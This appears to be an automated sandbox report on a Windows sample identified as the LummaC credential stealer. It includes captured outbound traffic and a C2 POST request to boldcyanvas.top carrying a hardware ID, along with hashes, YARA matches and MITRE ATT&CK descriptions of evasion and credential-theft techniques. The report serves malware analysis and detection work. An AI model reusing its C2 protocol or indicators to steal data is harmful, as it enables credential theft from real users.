9e b0 d0 48 a6 2c 9a de 5e df 75 64 cf ed d3 86 79 f1 94 c0 6a 8d 2c f2 6b Data Ascii: Y\|'iLN)u\|Nc$[spE&qPU~CRZ`h[[{d<z+-z=0:tI\v~z$k{q')!RaxH8I?sBq{BJ*`[wb,}b]rI\|F+oO'K,=H,^udyj,k
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: aa de 51 fc 26 76 4f 51 19 b4 df d6 7e 92 f7 89 cd ae 77 02 3e 93 68 d8 ec ee 16 4f 04 49 76 1b 99 a7 ca b2 bd 7b e1 ea df a0 f4 df cc c3 f9 13 97 32 91 fd d3 a7 b2 01 a1 03 a3 0b ab 6e 96 b1 cb 38 28 56 06 6a f7 41 2f 61 a4 ed c3 e4 bd 72 52 39 02 98 f9 90 76 18 ed 12 0a dd 1f 8c 30 2a 0e bd 03 0b 2f d8 f4 51 d2 7a 79 05 9b 87 a4 64 d3 09 bb 41 11 20 9d 59 90 27 db 1b 8a d0 3f cd 87 de 12 08 9f 03 6d 06 28 eb 1e 8b 20 6a a1 02 c9 53 79 48 ee cd e1 0f 30 fc 7d 24 59 12 26 2a fd ca 56 b7 4f d2 cf c9 74 5d b1 8f 99 8c 0a 57 72 9d 3b 6a 71 3d 57 ce a2 37 17 37 c0 09 7c f0 74 51 c8 37 22 40 31 d8 0e 93 13 99 a6 97 ee 51 b9 65 f6 fd 83 a1 79 74 bc 2c 7b b0 aa d7 ec 32 d7 d5 be 43 f4 d4 ff 9e 46 b6 fb 62 e9 77 50 7a 2b f4 43 ac ea 9a c3 b2 e1 ec a8 8c e9 64 5f Data Ascii: Q&vOQ~w>hOIv{2n8(VjA/arR9v0/QzydA Y'?m( jSyH0}$Y&VOt]Wr;jq=W77\|tQ7"@1Qeyt,{2CFbwPz+Cd_
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: 7a 14 d5 19 4e 0d 1a 73 64 d8 b5 fe 25 57 70 68 d8 d4 40 e2 ff e8 c2 ef 7d 3f 7a be bd eb 1a ef fb 5f 8b 50 4e fc 5b 31 ce 00 42 8b 4e c6 07 19 f0 ec 6a 5e 38 d9 da 1d b3 5f bb eb f7 b3 58 8c fa b6 90 13 10 ba 4e 67 a9 84 39 90 c6 7f af 68 34 fb f8 a2 cd 8b 2a 32 d0 c7 4f 02 84 22 ce c5 d7 d2 f9 38 0d 0f 63 30 fd a8 9a e0 6d 4e 48 02 67 a2 84 98 0a 65 ef 72 8c 68 be d7 b1 2c 0a fc c2 06 7d ff 5a 04 bf c4 81 06 6e 55 08 e8 ce 82 de 5e 60 07 a5 21 98 4a a8 6c 04 2c e6 cd 3b 63 28 54 8a 86 53 7a 23 ca 10 64 2c 1b c0 5f de ff eb c3 38 0a b0 2d 19 0f 98 77 7e c1 ec 92 f3 b1 88 81 ce b3 e8 9a 52 7d 98 f9 4f 7c bf ea 81 ed d6 ba d6 06 06 10 77 66 1a 0b 7e 7e b3 72 90 1d 01 ff f5 92 65 22 19 9a 07 dc 6a 0c 0b 89 10 e5 b0 c4 cc b5 13 d6 c6 a0 7e 4c f7 85 9a a3 e0 Data Ascii: zNsd%Wph@}?z_PN[1BNj^8_XNg9h4*2O"8c0mNHgerh,}ZnU^`!Jl,;c(TSz#d,_8-w~R}O\|wf~~re"j~L
2025-02-14 15:32:28 UTC	15331	OUT	Data Raw: c5 68 0f 8c 1d 7a b2 c6 7d b3 7b 67 48 c7 a2 8a 90 99 aa 39 d1 29 7c f2 6e d7 5c 62 5a f2 76 9c a1 d3 08 22 4c 9e 38 f5 4d 06 74 dd b8 53 ef 09 c1 0f 7f 0a 90 f8 b7 bc c2 c7 80 f9 60 ab aa 72 93 c3 9c 7b 0a fc 10 82 65 e6 fc 70 9c a9 e4 ca f7 4f 61 91 0d 23 a8 d2 31 98 aa 0f 12 08 8c 9d 88 e4 7b 84 ce cb 1d aa 4e b4 6e a0 d4 21 06 4e 07 50 a4 75 4f 03 eb 9f f1 e7 27 af c7 ce 1e 62 ab a2 56 05 82 cd 91 26 83 b8 ee c1 40 98 1d 0a 95 5e bd 86 32 90 5d de 8a ad 31 eb a5 db c5 4a 07 1b d8 5b ba e9 5c 61 07 65 0a be cf 5c d5 5c 65 50 f5 ab a9 93 06 68 3f 47 f7 5d 7c e7 3b a3 aa 0c 3b a8 f2 5b 72 91 5b 44 7d c0 38 61 29 d8 77 ce bc 08 f3 1b 29 e7 79 87 7d 48 82 27 cd 6c a9 fe 86 f4 12 13 21 ce a5 f7 20 e7 22 6a c5 cb d5 c9 24 84 39 82 1c f7 47 b2 7d 07 e1 93 78 Data Ascii: hz}{gH9)\|n\bZv"L8MtS`r{epOa#1{Nn!NPuO'bV&@^2]1J[\ae\\ePh?G]\|;;[r[D}8a)w)y}H'l! "j$9G}x
2025-02-14 15:32:29 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=s59hroslaaai7f9ib7plfdh6j2; expires=Sat, 15 Feb 2025 15:32:29 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NbXF38As2GYH3CDMbdDtnPnDMBcCS5XlbTFJHQ7mq%2B9tVBfR7QtTf8Nb3n5SwLg%2FTXeR3xkY2L3rebfLdUQasfIO%2FO0XCY67Qaa9rDKIiek3U9%2Bi9b%2FAfNSquy0FCEn4pEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c6bf8b47c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1998&min_rtt=1995&rtt_var=755&sent=193&recv=570&lost=0&retrans=0&sent_bytes=2838&recv_bytes=553116&delivery_rate=1442687&cwnd=242&unsent_bytes=0&cid=2c79ae69de2307c7&ts=1892&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49776	104.21.33.245	443	2120	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:32:30 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: boldcyanvas.top
2025-02-14 15:32:30 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 63 73 57 73 38 2d 2d 26 6a 3d 26 68 77 69 64 3d 34 35 36 38 41 44 32 36 38 41 39 44 46 42 46 43 32 44 34 33 41 33 33 34 38 32 34 30 36 42 35 35 Data Ascii: act=get_message&ver=4.0&lid=PcsWs8--&j=&hwid=4568AD268A9DFBFC2D43A33482406B55
2025-02-14 15:32:31 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=43jej28h7k1nut9le41o180r7k; expires=Sat, 15 Feb 2025 15:32:30 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hyg8ETdfT32x6IaISIv2d5zMJ%2FPik9p721ZfMtGdFTECp%2F0b2ljvR%2Buv1DL3RaWLe2zHN1e%2F3xzynLSGXQsWLIQFdj3sfzfoigEyJTDsWhZNV03rpIRTc0yRhDQ1SUvb0JA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e1c7b398d7c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1941&min_rtt=1934&rtt_var=740&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=976&delivery_rate=1465127&cwnd=242&unsent_bytes=0&cid=9a93763f42dd5b81&ts=576&x=0"
2025-02-14 15:32:31 UTC	54	IN	Data Raw: 33 30 0d 0a 59 34 6d 48 73 4f 65 41 67 77 79 7a 66 44 48 43 61 46 79 45 50 79 6d 59 61 6d 59 6c 55 54 62 48 37 75 64 5a 52 76 68 70 4a 52 59 34 31 41 3d 3d 0d 0a Data Ascii: 30Y4mHsOeAgwyzfDHCaFyEPymYamYlUTbH7udZRvhpJRY41A==
2025-02-14 15:32:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:32:12
Start date:	14/02/2025
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe"
Imagebase:	0x5b0000
File size:	2'081'280 bytes
MD5 hash:	162DA6192789D7EF167FEC87876A8A86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1473732640.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1424640914.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1407301730.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1407398973.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00E56F21 Relevance: 1.2, Instructions: 1213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E4B000, based on PE: false

Associated: 00000000.00000003.1407301730.0000000000E4B000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e4b000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4b9b77ae17b866dd58aa8a52f87f0fe1b2474d9a7b3bae6317975fb4bce9a76
Instruction ID: c7ef1be4be75b18b8032ec776544d998b8dbfee8d89c78b23e72d51866ef6cfe
Opcode Fuzzy Hash: d4b9b77ae17b866dd58aa8a52f87f0fe1b2474d9a7b3bae6317975fb4bce9a76
Instruction Fuzzy Hash: A83228A680E7C25FE3138B705CA66917F719F23255B6E09DBC4C0DF0E3E2098A19C762

Function 00E56F21 Relevance: 1.2, Instructions: 1213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1472480629.0000000000E54000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E54000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e4b000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b743213b9cedeeefe27cc46d01fccf3fe88afee2604df9433ebffcd9544cc7f
Instruction ID: c7ef1be4be75b18b8032ec776544d998b8dbfee8d89c78b23e72d51866ef6cfe
Opcode Fuzzy Hash: 0b743213b9cedeeefe27cc46d01fccf3fe88afee2604df9433ebffcd9544cc7f
Instruction Fuzzy Hash: A83228A680E7C25FE3138B705CA66917F719F23255B6E09DBC4C0DF0E3E2098A19C762

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe